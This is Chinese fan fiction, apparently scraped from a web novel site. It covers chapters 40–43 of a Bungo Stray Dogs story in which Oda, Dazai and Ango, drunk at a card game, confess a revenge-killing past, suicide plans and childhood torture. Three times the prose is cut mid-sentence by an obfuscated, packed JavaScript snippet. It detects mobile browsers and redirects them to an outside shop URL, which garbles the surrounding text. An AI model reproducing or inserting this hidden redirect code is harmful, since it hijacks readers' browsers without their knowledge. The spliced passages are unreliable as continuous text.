就如同那名杀手说的那样,织田作之助学起各种枪械和格斗术来简直天赋异禀,不过十岁的时候他就已经差不多能出师了,在十二岁生日的那一天,他自己一个人踏上了复仇之路。 “早点儿回来啊!”临走之前那个杀手倚在门口招呼他:“今天晚上我破例带你去吃大餐。” 杀手说他们轻易不能吃味道太重的食物,因为味道会暴露自己的位置,所以自从跟着杀手之后织田作之助的一日三餐基本上除了米饭就是白水煮菜和白水煮蛋。 并不能理解什么叫大餐的织田作之助头也不回地离开了,杀害他父母的人看上去和其他人也并没有什么不同,织田作之助找过去的时候他正躺在摇椅上晒太阳,他的妻子站在一边浇花,忽然出现的陌生人让他们吓了一跳,那个男人直接从摇椅上站起来。 “你是什么人?” “我是来报仇的。” 那个男人惊疑不定的目光在织田作之助的脸上观察片刻,随后露出恍然大悟的神情:“原来如此,你是他的儿子啊。应该的。”他又坐了回去,轻轻叹一口气:“应该的。” “你为什么要杀害我的父母?”动手之前织田作之助最后问了一个问题。 “因为你的父母曾经害死了我的女儿。”那个男人的目光死死地盯着他:“我要报仇,就如同你一样。这个世界上没有宽恕,只有报复。”⑦ 40.第 40 章 “这个世界上没有宽恕,只有报复。” 织田作之助重复了一遍他的话,然后举起枪对准那人的脑袋:“你说的对,我会记住的。” 一切结束的时候已经是晚上了,织田作之助踏着月色回到杀手的据点,本来他还想问一问杀手“大餐”到底是什么东西,但是推门进去的时候他才发现杀手已经死了。 一枪爆头,手段干脆利落,血和脑浆喷溅在墙上,杀手的性命最终还是终结在另一个杀手的手里。 织田作之助也说不上自己当时是什么心情,他也并不是为了报答对方把他养大的恩情,杀手曾说过他们都不是那样高尚的人,只是各种各样的原因和想法堆在一起…… 织田作之助决定为杀手报仇。 又花了一年的时间确认了凶手的地址,在一个同样月明星稀的晚上,他再次踏上了复仇的旅程。 这次的凶手是一个二十岁左右的年轻女人,雇佣一个厉害的杀手已经花光了她所有的积蓄,如今她住在一个四面漏风的破房子里,在看到织田作之助的时候吓得蜷缩在床角瑟瑟发抖。 “你为什么要杀他?”织田作之助在动手之前还是问了一句。 那个女人几乎是瞬间就知道“他”是指谁了,她咬牙切齿地盯着织田作之助:“因为他杀了我的父亲!” 原来如此,原来是这样啊。 你杀了我的亲人,我便拼尽一切要杀了你,终有一日你的亲人也会找上门来,一切周而复始,就像太阳东升西落般永不停歇。 这就叫报仇,是天经地义的事。 “我是来为他报仇的。”织田作之助举起手枪:“这个世界上没有宽恕,只有报复。” 在为杀手报了仇之后织田作之助就自然而然地成为了一名杀手,他也不会别的东西,想要活下去这是最容易的一条路。 他也不再问雇主要杀另一个人的理由了,问多了也没什么新意。 总不过是报复和被报复,他是一个游走其间的幽灵,等着哪天一个找自己报仇的人结束自己的生命,然后再接替着在这条路上继续走下去。 这是天经地义的事,也没什么特别的。 听了织田作之助的讲述之后,这间不大的酒吧里再次沉默了片刻。 “这个世界上没有宽恕,只有报复……吗……”坂口安吾双目微阖喃喃着重复了一句,然后缓缓吐出一口气,露出了一个像是安心又像是认命的复杂微笑:“原来如此,织田作先生是这样想的啊……” 织田作之助一口气讲完这个故事之后手里的酒杯已经见底了,不知道是不是有点喝醉了的原因,他的话终于多起来: “原来讲出来也没我想象中那么难,反而还觉得松了一口气,多谢你们了,安吾,太宰。” 太宰治也像喝醉了一样支着脑袋,还打开一瓶酒把他们三个人的酒杯都满上了:“没关系,我今天也知道了很多重要的事情呢,我们这就继续吧,我已经迫不及待了!” 安吾笑着看他:“你还能继续?” 之前的世界里织田作先生决意赴死的时候你也就说了这么多,这不已经是极限了吗? “你别小看我啊,安吾!”太宰治不服气地瞪了安吾一眼,直接把整理好的牌放到他面前:“最先逃跑的绝对不是我,只要你们不喊停我是不会停下的!” 安吾无奈地抓起一张牌:“那你别指望我,我肯定挺得比你久。” 织田作之助也跟着抓起一张:“这就是幸介他们说的胆小鬼游戏吗?谁先喊停谁就是胆小鬼了。” “看我干什么?我才不是胆小鬼!”太宰跑到门边直接一个反锁,然后跑回来抓起一张牌:“门已经被我锁死了,今天不把秘密吐干净谁也不准出去!” 然后下一局输的又是太宰了。 看着他一张俊秀的脸都快要扭曲变形了,坂口安吾忍不住轻笑出声,把那杯放在一边没人敢动的混合洋酒递过去:“这还是你自己调的,这就叫自作自受吧?” 太宰一脸嫌弃地把那杯酒推远,拿起自己手里的酒杯咕咚咕咚喝下去半杯,然后才开口:“我之前……” 他的嘴巴开合了几下,发现还是非常难以开口,于是又把刚放下的酒杯举起来,直接把剩下的半杯也尽数喝光了,不知道是不是因为高度数的洋酒一口气喝下去人真的醉的很快,这次扶着有点发晕的脑袋,太宰终于开口了: “我之前……设计了一个五步跳楼计划书。” 安吾本来想帮他解围的话还没说出口,织田作之助起来想扶着他的动作也停在一半,一瞬间时间就像按下了静止键一样,他们两个震惊的目光完全掩盖不住。 但是太宰治一直扶着脑袋斜靠在桌子上,低着头自顾自地继续说了下去: “因为很无聊啊,这个世界。 想拯救的人重复多少次也留不下来,不想失去的东西无论如何也会失去。真正的感同身受是不存在的,我所体会到的那种孤独很多蠢人一辈子都不可能察觉到一丝一毫。 我到底是为了什么才存在于这个世界上的?你们真的觉得人的生命是有某种意义的吗?” 织田作之助和安吾都没有回答,太宰也不在意,扶着额头的胳膊渐渐倾斜,他趴在桌子上: “果然是没有意义的吧?就算是活下去了也不过是又一次重复而已。所以我决定了,这样漫长的生命我要亲自给它赋予一个意义,然后在使命完成的时候就亲手结束掉它。 为了证明这个意义的存在,我的计划一共分成五步,如今我已经完成了一步,还有四步……”他费劲地伸出一只手比了个四的手势,然后抬头看着面前的两人: “然后我就认识了你们。 正常来讲我的计划里不应该认识你们的,这会对我的计划造成不可预知的阻碍。但是我还是认识了,因为一个人真的很孤单,很累,很辛苦…… 织田作和安吾都是很好的人呢,和你们在一起果然很开心,于是我就又拥有了不想失去的东西,这种轮回,简直就像是推着巨石的西西弗斯一样。 可是不想失去的东西最终还是会失去,总有一天我还是会孤身一人在黑暗里徘徊吧。 织田作,安吾,我不想再成为这个轮回的一部分了。如果我把计划继续推行下去,真的到了需要告别的那天……你们不要难过,也不要自责,这些和你们无关,这都是我自己的选择。” 太宰治双手撑着身体坐起来,身体虽然摇晃目光却是前所未有的清明:“没有其他原因,我只是这样选择了而已。如果是你们的话,一定能够理解吧?” 织田作之助慢慢地坐回去,安吾也慢慢放下了举着的酒杯,停住的时间开始缓慢而黏稠的流动,昏黄色的灯光像是松脂一样裹住他们这三只渺小的小虫。 不知道过了多久,安吾先开口了:“也许我能理解你做这件事的动机,太宰君。可是就算你做出了这样的选择……”他翠绿色的眼眸里是同样的认真: “就算你做出了这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053051|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,你的灵魂真的就能得到救赎了吗?” “我知道不能。”太宰治和他对视,语气缓慢得就像一个历经沧桑的老人:“但是我已经放弃获得救赎了。” 安吾也没有移开视线,他紧紧地盯着太宰治脸上的每一丝表情:“那如果你做出了这样的事,你会真心的感到开心吗?” 安吾在心里已经做好了决定,如果太宰君的回答是“是”,那么他就不再阻拦了。 如果这件事真的已经是太宰君唯一一件能感到开心的事,那他就去做吧,剩下后续的麻烦都交给我来处理就好。 太宰治和安吾沉默地对视着谁都没有移开视线,不知道过了多久,太宰治缓慢地叹一口气:“不会,我只是……不想继续下去了。” 听到这个回答,安吾已经提到嗓子眼的心缓慢地落了回去。 这不是太宰君真正的遗言,他只是在求救而已。 这时候一直没出声的织田作之助开口了:“太宰,你那个计划的第二步是在什么时候?是在最近吗?” “没有啦,我还没有那么急。”太宰此时已经开始逐渐收起一开始那股认真的神态,在非常短暂地坦诚之后,他已经准备缩回壳里了:“大概还需要几年,所以我们还可以趁现在快乐地玩耍。” “那时间还够。”织田作之助也认真地看着他:“我决定送你一份礼物。如果没收到这份礼物就死去的话,我会替你感到惋惜。” “什么礼物?”太宰歪着头看过来。 “现在还不能说。总之是一份死之前一定要收到的礼物吧。” “诶?那我会努力活到那个时候的!”太宰终于又露出笑容:“不要让我等太久哦~” 看到织田作先生这次打算直接干预太宰君内心的孤独,安吾的心缓缓放下,眼里终于露出些许笑意: “人生中的相遇和离别都是有意义的,这并不是一个无休止的循环。”他嘴角微微扬起,眼镜后的目光变得柔和: “不要害怕离别啊,太宰君。相遇能带给人成长,离开也是。他不会是一个困住你的牢笼,到时候你会明白的……” “我不想明白。”太宰君的声音冷冰而生硬,安吾忽然从自己的思绪里回过神来,发现太宰君正用一种凉飕飕的目光看着自己: “怎么回事啊,安吾?为什么比起我你才更像是在发表遗言呢?你的计划进行到哪一步了?也跟我们说说呗?” 坂口安吾:…… 糟糕,刚才坦诚太多了一时间没收住。 就连织田作之助都皱着眉头目光担忧地看着他:“安吾,我觉得比起太宰你才是更加令人担心的那个。” 太宰最起码还会对着朋友求助,但是安吾看上去似乎已经做好决定了。 “我……我……”其实这种时候本来应该否认就好的,但是在这样一个大家约定好了都吐露心中秘密的时刻,坂口安吾没办法对着他们撒谎,他支吾了半天,忽然福至心灵,学着刚才太宰治的话开口: “如果我说,我只是这么选择了,你们也能理解的吧?” “不理解。”太宰治都要气笑了:“你趁早死了这条心吧,安吾。你死不成的,我绝对会拼尽全力阻止你!” “我也不理解,安吾。”织田作之助眉头皱得能夹苍蝇了,他和太宰治统一战线:“我不会放你去死的,无论如何也要把你救回来。” 安吾:…… 为什么待遇差别这么大?你们这真的不是双标吗? 41.第 41 章 安吾这一副不想对他们说谎但是又不肯放弃计划的样子看得太宰治心头火起,他当下冷笑一声,把散落的扑克收拾起来放在桌上:“不说是吧?织田作!我们继续!” 织田作之助点点头,直接拿起一张扑克握在手里:“安吾,该你了。” 坂口安吾的目光在他们两人之间来回移动:“这不对吧?太宰君,织田作先生,你们两个怎么能联合起来对付我?这不公平!” 太宰治也跟着抓起一张牌:“公平?自顾自决定去死的人才没有反对的权利!” 安吾:…… 你这个计划从港/黑大楼跳下去的家伙到底有什么资格来说我啊! 对上安吾不服气的目光,太宰治露出假笑:“如果不玩牌的话就默认你认输了,喝酒还是说实话你自己选。” 如果只有一个太宰君的话安吾也许还能挣扎一下,但是织田作先生也在,所以安吾只能憋屈地抓起一张牌:“就算我输了……唯有这件事我是不会说的!” “那你就会输到说为止。”面对安吾的反抗太宰无动于衷,他又抓起一张牌:“我之前还觉得奇怪,安吾为什么主动把自己的秘密分享给我们看,原来你是想着反正快死了,以后和我们也不会再见了是吧?” 安吾:…… 太宰君,这么一点点微小的差别你都能看出来,你是不是敏锐过头了? 看到安吾表面镇定眼神忍不住透露心虚的样子,太宰治捏着扑克的手不自觉用力。 好消息:自己的安吾对待朋友比其他世界的安吾都要坦诚。 坏消息:自己的安吾居然是那么多世界里唯一一个有自鲨倾向的安吾! 可恶!你这个家伙到底哪里出了问题啊!虽然我抱怨过那么多平行世界都大同小异,但是也不要在这种方面给我特立独行吧! 面对着太宰君几乎想把自己脑袋打开来看一看的可怕目光,安吾忍不住心里直突突,手下一滑直接抓了两张牌,打开一看,果然过了二十一点。 “一共二十五点了,安吾。”织田作之助放下手中的牌:“你输了。” 坂口安吾还在挣扎:“我们刚开始不是为了帮织田作先生吗?为什么最后变成针对我了?不要本末倒置啊!” “没关系,安吾。我在说出第一段经历之后已经想开了,这件事并没有这么难。”织田作之助反而拍拍安吾的肩膀安慰他: “说出来吧,安吾,说出来会轻松一些。你要是觉得不公平我可以和你轮流说,你讲你为什么想不开,我把我后面的经历都告诉你。” 安吾:…… 偏偏在这个时候恢复了之前的天然和坦诚呢,织田作先生。 “安吾,我都把我最心底的秘密说出来了,难道你要骗了我的秘密就跑吗?”太宰也拖长了声音凑过来,就像平时不让摸又总捣乱的猫主子忽然蹭过来撒娇一样,他也握住安吾的另一边肩膀: “如果你觉得难以开口的话可以先喝一点酒。”他把那杯混合洋酒端过来:“相信我,只要喝到大脑晕乎乎的,无论什么难以启齿的话都能轻松说出口了呢!” “别!太宰君,我没说我要喝这个!” “反正你现在开不了口吧?那就先喝一杯,然后再接着玩吧~” “织田作先生!救……” “安吾,要全喝光才算挑战成功。” 安吾被两面夹击,防得了这个防不了那个,最后莫名其妙地就被按着把那杯混合洋酒喝进去半杯,最后他屈服了:“别,别灌了!我说,我说还不行吗?” 这混合起来的洋酒也不知道到底什么配比,难喝就算了,劲儿真的很大,安吾被放开的时候感觉何止是脑袋,整个身子都软成了一滩浆糊。 他上半身没骨头一样趴在桌子上,抬手费劲巴力地解开了领口的几颗纽扣,喘了两口气才嘀咕着开口:“太,太宰君,你这酒真是不得了,我之前被注射的吐真剂都,都没你这个劲儿大。” “吐真剂?”织田作之助坐在他旁边看过来:“安吾还被注射过这个?” 太宰治也搬了个凳子坐到安吾另一边:“应该是在卧底的时候吧?” “那当然了,对间谍来说这不是家常便饭吗……”坂口安吾实在是不舒服,他一边吐槽一边挣扎着把板得人难受的西装外套脱下来一半: “不过这东西对我没用……还有那些严刑拷打也好,剥夺睡眠也好,精神虐待也好……都没用……”在脱掉西装外套之后他终于松了一口气,解开衬衫袖口的几颗纽扣之后又放松地趴回去:“哪怕是太宰君……来审讯我……也不一定拿我有办法呢……” 太宰治听得直皱眉头:“谁要干审讯安吾这样的活儿啊?一听就超麻烦的,我才不要!” “哈哈,太宰君生气了?”坂口安吾趴在桌子上对着气呼呼的太宰治笑了两声:“好吧,那我的秘密分享就说我最怕的刑讯手段好了,掌握了这样的方法,太宰君和织田作先生就可以轻松地置我于死地!” 说着说着不知道为什么兴奋起来的坂口安吾直接站了起来,然后因为摇摇晃晃又被织田作之助扶着坐下。 太宰治无奈地叹一口气:“谁要听这个啊?这个醉鬼,都这样了还能扯东扯西,只能说不愧是安吾……” 看来他不想说的东西无论是酒精还是吐真剂都真的没用。 安吾坐在椅子上左摇右晃地要往下倒,最后还是织田作之助看不过去,直接扶着他靠在自己肩上,而他也丝毫没有意识到自己如今的失礼,对着他们两个像是在做教程那样伸出手指比了个“一”的手势:“首先,需要准备一辆车!” 然后他比了个“二”:“然后,把我关在里面!” 接着又比了个“三”:“接着,给我安排一场车祸!” 太宰治不知道为何越听表情就愈发凝重:“为什么?” 被打断了教程也不生气,安吾非常耐心地开始科普原理:“因为我十六岁的时候出过一场严重的车祸,然后就患上了乘车恐惧症。”* 他们两个人沉默片刻,织田作之助开口了:“但是安吾不是经常开车吗?” “嗯,那个啊……那个也没办法吧……不会不行啊,因为要去卧底不会开车很不方便啊……”安吾本来莫名亢奋的情绪低落下来,他靠在织田作之助肩上叹了口气: “所以就努力地逼自己去学了……时间长了好像也就那么回事吧。 说到底恐惧啊排斥啊不过是一种情绪而已,只要能认识到这一点然后加以克服的话……哪怕害怕也可以完全无所谓的,对吧?” 说着安吾又高兴起来,他展示一般地张开自己的双臂:“你们看,是不是完全看不出来我有车辆恐惧症了?心理医生都说我早就痊愈了!” 既然已经痊愈了,那为什么用车祸对付你还是你最害怕的事? 织田作之助没有再回话,太宰治不知道为什么面色苍白得没有一丝血色,安吾没有注意到这些,他继续伸出四根手指头:“再然后,把那辆撞得破破烂烂的车拖过来!” 小小的酒馆里没有人接话,只有安吾越来越兴奋的声音在说个不停。 “最后,最后也是最最重要的一步!”他伸出五根手指头,想站起来没成功,于是只好努力坐直身体:“最后,把我扒光衣服再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17056819|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扔进这辆车里封死门窗!” 太宰治的脸色完全严肃下来,织田作之助的手也不自觉握紧。 “原理是在出过车祸的车里我的异能力会暂时失控,这样一来无论接触到什么都会被动地读取记忆并源源不断地传进我的脑海。 但是因为无论跑到哪里都只能接触到这辆车,所以我出车祸的记忆就会三百六十度无死角地不停在脑海里回放……” “是谁干的?安吾,是谁这样对你?”身后的织田作之助忽然沉声询问。 “谁干的?人还挺多的,刚开始是家里的老管家发现的,然后大家就都开始用这个办法来逼我就犯了,因为当时的我很难管,但是一进那辆车里我就老实了。 所以我的父母,兄长,礼仪老师,大伯,老管家……还有谁来着……”安吾叹一口气,身体后仰缓缓靠回织田作之助的肩膀上:“啊,不行了,人太多了,记忆还很混乱,想不起来…… 总之,就是好多个人因为各种各样的理由把我关进去吧。”说到这里安吾还笑了一声,用着非常感叹的语气跟太宰治和织田作之助吐槽:“哈哈,真是的,我家那些人简直就是一群刑讯天才啊!你们说是吧?” 太宰治默默地看着安吾的笑脸,忽然伸手在他眼角抹了一下:“不想笑就别笑了,安吾。” 看着太宰治手指间的水痕,坂口安吾露出怔愣的表情,他后知后觉地在自己的眼睛下方擦了一下:“我哭了吗?” 还真是,一摸就摸到了溢出眼眶的水滴。 “我哭了……”安吾的表情变得逐渐空白,他开始盯着手指尖的眼泪不知道在想些什么。 “少爷,不可以在人前哭泣,您失仪了。”有一个一脸皱巴巴的古板老者面容严肃地看着他,院子外面就停着那辆破破烂烂的车:“请您进去反省十五分钟。” 不行……不能哭……太失礼了。 他开始把眼镜摘下来擦眼泪,然后抬手的时候他发现自己袖口的扣子散开,衬衫的前两颗扣子也没扣上,领带早就不知道哪里去了。 “少爷,不可以衣衫不整。请您进去反省。” 安吾开始低着头系扣子,本来熟练的动作因为醉酒变得十分笨拙,光是袖口的扣子就半天也没系上,急得他出了满头的汗。 “安吾?安吾?”太宰一把按住他系扣子的手:“你怎么了?” 在他身后的织田作之助伸手摸了下安吾的额头:“安吾,怎么出了这么多汗?你哪不舒服吗?” “看你那没骨头的样子!坐有坐相不知道吗?我看你还是没在车里待够!” 于是安吾开始挣扎着从靠在织田作之助肩上的姿势变成正坐。 但是酒吧的椅子对于完全醉酒的人实在是太难坐了,他因为着急动作又太大,差点直接后仰过去,关键时刻还是织田作之助一把扶住他,太宰治用力握住安吾的手腕:“安吾,你到底怎么了?” 安吾这才回过神来,他扶着桌子稳住自己的身体,努力露出个笑来:“我没事,不过有些许情绪外溢而已,很快就能整理好。” 对,只是一时想起了些不好的事情,这样的时刻在所难免,根本不需要过多在意,我只是需要一点时间…… 太宰不知道在想什么,盯着安吾看了一会儿他忽然开口:“是因为这个吗?” “什么?”安吾没反应过来,下意识反问了一句。 太宰弯腰趴在桌子上,凑过去看着安吾的眼睛:“你之前给自己立了一块儿墓碑,是因为这个吗?” 安吾的喉咙忽然就像被人掐住了一样,他张口想要说点什么,却发现自己一个字也说不出口。 42.第 42 章 安吾想说这已经是下一个问题了,想说他已经分享了一个非常要命的秘密,他还想说既然织田作先生已经想通了不如我们到此为止……他想说的话很多,但是看着太宰君看过来的眼睛,拒绝的话还是一个字也没说出口。 太宰君的眼睛看起来有一点难过。 安吾又转头看向织田作先生,他也同样静静地看过来,显然也在等待自己的回答。 算了,反正就算继续打牌,被他们两个联合针对的我肯定也赢不了,又何必多此一举。 安吾低下头轻叹一口气,然后拿起剩下的半杯混合洋酒一饮而尽,借着脑袋里越来越严重的晕眩感,他靠在桌子上开口了: “我当时立墓碑的原因并不是因为刑罚的痛苦,而是因为……我觉得在这种痛苦之中我在逐渐迷失。 坂口安吾是一个叛逆的不良少年,他叫自己安吾是因为“暗吾”的谐音,会在学生会长演讲的时候在下面喝倒彩,逃课打架是家常便饭,尊师重道更是从来不懂,他讨厌所有看似正确的大道理,哪怕一个人孤立整个世界也在所不惜。 他以为自己会这么永远在满是谎言的世界里撞得头破血流,一直到死也要坚持孤高下去绝不后悔,但是忽然一场车祸……然后一切都变了。” 他把自己的手臂放在桌子上,看着因为刚才的回忆还在不停颤抖的身体轻轻闭上眼睛: “在痛苦的刑罚之中他屈服了,他承认自己没办法承受那种规格的恐惧和绝望,于是为了能让自己变得好受一点,他开始学着和其他人一样撒谎。 假装自己变成了一个正常人,讲着一些没什么意义的寒暄客套,在严格的规矩和礼仪之中一点一点地改造自己,最后他改头换面,另一套完全不同的行事准则彻底深入他的内心。” 安吾的嘴角扬起一丝苦笑,语气里是自己也想不明白的茫然: “面具戴的时间太久就摘不下来了,到了后来一想到之前那些荒唐的往事我自己也会觉得简直难以启齿,家人和老师都在欣慰我终于长大了,只剩下我自己迷失在谎言和真实的缝隙里反复徘徊。” 他张开手臂低头打量了一下自己,西装革履,文质彬彬:“这样的我是真实的吗?如果不是难道如今的我只是一个巨大的谎言集合体? 我说出口的那些礼貌和寒暄,工作学习中的一丝不苟,那些如今我再也摆脱不掉的责任心和使命感是真实的吗?还是说这些也不过是为了免于惩罚的虚与委蛇? 我已经没有办法变回真正的坂口安吾了,但是……如今这个存活于世的,包裹在谎言之中的我又是个什么东西? 很多人都说我很擅长伪装和说谎,我当然擅长了,因为很多说出口的话是真心还是假意我自己也并不知情。” 说到这里的坂口安吾也没有去看太宰和织田作之助的反应,只是低头又给自己倒了一杯酒一饮而尽: “所以我想到了去死。”他闭上眼睛,右手轻轻地靠近自己的心脏:“我能感觉得到,如果是坂口安吾的话,与其变成这样他宁愿去死。现在的我也不想继续在真实和虚假之间徘徊下去,于是这就是我们唯一能达成共识的一件事了。” 坂口安吾睁开眼睛,桌上空荡荡的玻璃酒杯映出他的倒影:“这就是唯一一件能确定是我出自真心的事。” 然后他就跑去给自己立了一个墓碑,写上了坂口安吾的名字。 后来计划还没来得及实施,本来是个庞然大物的家族忽然就倒塌了,快得就像一个太阳下被针戳破的肥皂泡,留下他一个人站在一片废墟里茫然无措。 再后来……非常黑色幽默的,家族里所有的土地都被没收充公了,包括他给自己挖的那块墓地。 从过去的回忆里回过神来,这次坂口安吾是真的醉得不轻了,他右手支着脑袋叹一口气,语气也模模糊糊:“差不多就是这样吧,那块墓碑的来龙去脉……” “安吾。”忽然趴在桌子上的太宰叫了他一下。 “怎么了?”安吾看过去:“还要继续玩下去吗?” 太宰摇摇头,忽然从桌子上向前蹭去,以一种缓慢但是又不容拒绝的姿势钻进安吾的怀里,耳朵贴在他的胸口。 坂口安吾的身体几乎是立刻就僵硬起来,他下意识往后退去,然后就直接靠上了织田作先生的肩膀。 “怎,怎么了?”安吾举起双手,像是举手投降一样的姿势僵在那里。 靠得太近了,上一次和织田作先生还有太宰君靠得这么近还是这两个人一身脏污贴过来祸害自己唯一一身好西装的时候。 “我在听安吾说话。”太宰靠在他怀里所以声音有一点模糊:“他说他很高兴认识我们,也很喜欢和我还有织田作一起喝酒。” 坂口安吾愣了一下,然后眼眶就有一点湿润了,他轻笑一声:“这种事情我自己都不知道,你是怎么知道的啊?” “安吾告诉我的。”太宰把自己更加贴近安吾的胸口:“他还说他讨厌总是加班,讨厌堆成山的文件,还讨厌咖啡和眠眠打破。”说到这里,太宰抬起头看他:“但是安吾说他不讨厌安吾如今的理想哦!” 织田作之助低头看过去:“原来如此,安吾以后应该再少加一点班了。太宰,安吾还说了什么?” 太宰于是又一脸认真地低下头去听,几分钟之后他抬起头:“安吾说,现在的安吾也是个很棒的人,他很喜欢!” 坂口安吾不知道怎么情绪忽然就失控了,拼命克制也克制不住,他咬紧牙关努力让自己不哭出来,但是泪水还是顺着脸颊不停流淌而下。 我怎么搞成这样,真是太失礼了…… 眼镜不知道被谁摘了下来,模糊一片的眼睛被温暖的手掌覆盖住只剩下一片黑暗,身后传来织田作先生的声音:“没关系,安吾。今天晚上是秘密分享会,所以放松一点也没关系,这是被允许的。” 是被允许的吗?既然织田作先生都这么说了,那也一定是真的吧? 坂口安吾靠在织田作之助身上,泪水就像没拧紧的水龙头一样怎么也止不住,太宰治安静地靠在他胸口,他们三个人紧紧地依偎在一起,就像缩在路灯下互相取暖的三只野犬。 暖黄色的灯光驱散了夜晚的黑暗,他们三个在寒冬里紧紧贴在一起,彼此的体温温暖了漫漫的长夜,风呼啸而过,盖住了他们的呜咽声。 就这样不知道过了多久,终于从汹涌的情绪里挣扎出来的坂口安吾拨开织田作先生蒙在自己眼睛上的手,他顶着一双红肿的眼睛坐起来,戴上眼镜之后看上去恨不得找条地缝钻进去: “啊,这次秘密分享会真是太过火了,我几乎所有的秘密都被你们扒了个底掉,未来的很长一段时间我应该都羞于见人了。” 太宰治好奇地凑过来:“几乎?” 坂口安吾立刻一个激灵:“别,别总盯着我一个人扒啊!你们呢!你们倒是也说说自己啊!” 于是织田作之助也给自己倒了一杯酒然后学着太宰和安吾刚才的样子一口气喝掉:“可以,如果是对着你们两个,我觉得那些往事也没什么说不出口的。” 接着织田作之助就接着成为杀手之后的事说下去,讲他的麻木不仁人命如草,讲他在杀完人之后偶然捡到的一本书,讲他偶遇作家触动心扉,讲他决心不再杀人之后为了糊口做过的各种工作,还讲了他在龙头战争里捡回来的孤儿,最后讲他终于鼓起勇气提笔写书。 讲到最后瓶子里的酒被喝掉了大半,他也醉了,半趴在桌子上喃喃自语:“我希望……有一天能坐在一间靠海的房子里写书……”他转过头看着安吾和太宰叹息一声:“要是能和你们两个住一起就更好了……” “可以啊,我们可以挑一栋靠海的房子一起住!”太宰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064436|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立刻答应下来,他也拿起一瓶洋酒把盖打开,也不管会不会混在一起直接把酒倒在自己的杯里,然后也开开心心地一口闷下去: “我们就可以每天晚上一起工作,一起喝酒,一起开秘密分享会!” “还开啊……”安吾早就醉得不行了,闻言把头埋在桌子上叹一口气:“开这一次我都褪层皮了……” “当然要开啦!”太宰治此时也醉得不轻,他整个身体没骨头一样靠在安吾身上:“因为还没把安吾的秘密都扒出来……” “别,别扒了……”安吾醉意朦胧地打了个寒颤:“太,太宰君果然还是先专注自己……” “太,太宰……”织田作之助这个时候也插话了,他们三个如今都是一群醉醺醺的醉鬼,织田作之助说出的话也完全不按常理:“你不能……再,再在黑手党……干下去了……你应该……跳槽……” 太宰居然还高兴起来了,他高举手里的酒杯:“好哦!跳槽!为,为了跳槽而干杯!” 在这之后太宰君还分享了自己从加入黑手党到篡位当老大的一些故事和遭遇。 他说自己和森先生对峙时对方复杂难言的目光,说尾崎红叶失望离开的背影和其他人疏远忌惮的眼神,还说自己一个人要面对的无穷无尽的工作和难缠疯癫的敌人,说到最后他语气哽咽,说自己在港口mafia孤军奋战真的好辛苦好辛苦。 “这,这一切都是为了……为了……*”太宰治说到最后低下头不说话了。 “都是为了什么?”织田作之助趴在桌子上好奇地看过去。 于是太宰治擦一擦眼泪,语气又重新振奋起来:“都是为了成为这个家的顶梁柱!都为了照顾织田作这个笨蛋!” 然后他又看一看同样趴在桌上对着自己傻笑的安吾,又补充了一句:“现在还要照顾安吾这个笨蛋,所以我今后还会继续努力的!” 织田作之助慢了半拍才做出反应,他摇摇晃晃地举起自己的酒杯:“那,那就干杯吧,为了……为了笨蛋。” 安吾也举起酒杯:“虽然不知道为什么,但是……为了笨蛋……” 太宰也举起自己的酒杯:“为了笨蛋!” “干杯!!!” 喝到最后桌上的那几瓶洋酒全都一滴不剩,他们三个坐在地上背靠吧台桌依偎在一起,周围全都是各式各样的酒瓶子。 “太宰君……你,你打算什么时候跳槽啊?”安吾躺在地上还不忘记挂着这件事:“我还,还要把你的档案……处理一下……” “跳槽……这是,一个秘密!”太宰竖起食指挡在嘴唇上:“安吾,安吾要是和我交换!我就告诉你!” “我能说的都说了……”安吾轻轻呼出一口气:“你要……知道什么?” “就是那个!就是那个啊!”太宰指了指自己:“我的,我的计划进行到第二步……安吾的计划……进行到第几步了?” “啊,好狡猾啊……太宰君……”坂口安吾喝得迷迷糊糊的脑袋慢了半拍反应过来,他们两个互相用手指轻点着对方发出一阵心照不宣的笑声:“哈哈哈哈哈……” “好险,差点被太宰君绕进去了……”安吾因为醉酒说话的声音含糊不清:“你怎么还没放弃啊……” “当,当然不会放弃了……”太宰软趴趴地靠在坂口安吾身上:“绝对,不放弃……绝对……要救你……” 织田作之助本来低着头已经快要睡着了,听到他们俩的话忽然又睁开眼睛:“救……救……对了,太宰,安吾……我还有礼物要送给你们……你们两个记得等我……” “我会等织田作的……” “我,我也会等织田作先生……” 得到他们两人肯定的答复之后,织田作之助这才放心地闭上眼睛:“人,人活着是为了获得救赎吗……或许真是这样吧……”* 43.第 43 章 那天晚上他们几个喝得酩酊大醉,一直睡到第二天黄昏才终于醒过来,一想起昨天晚上荒唐的言行和吐露的心声,安吾和太宰羞耻得简直恨不得原地去世。 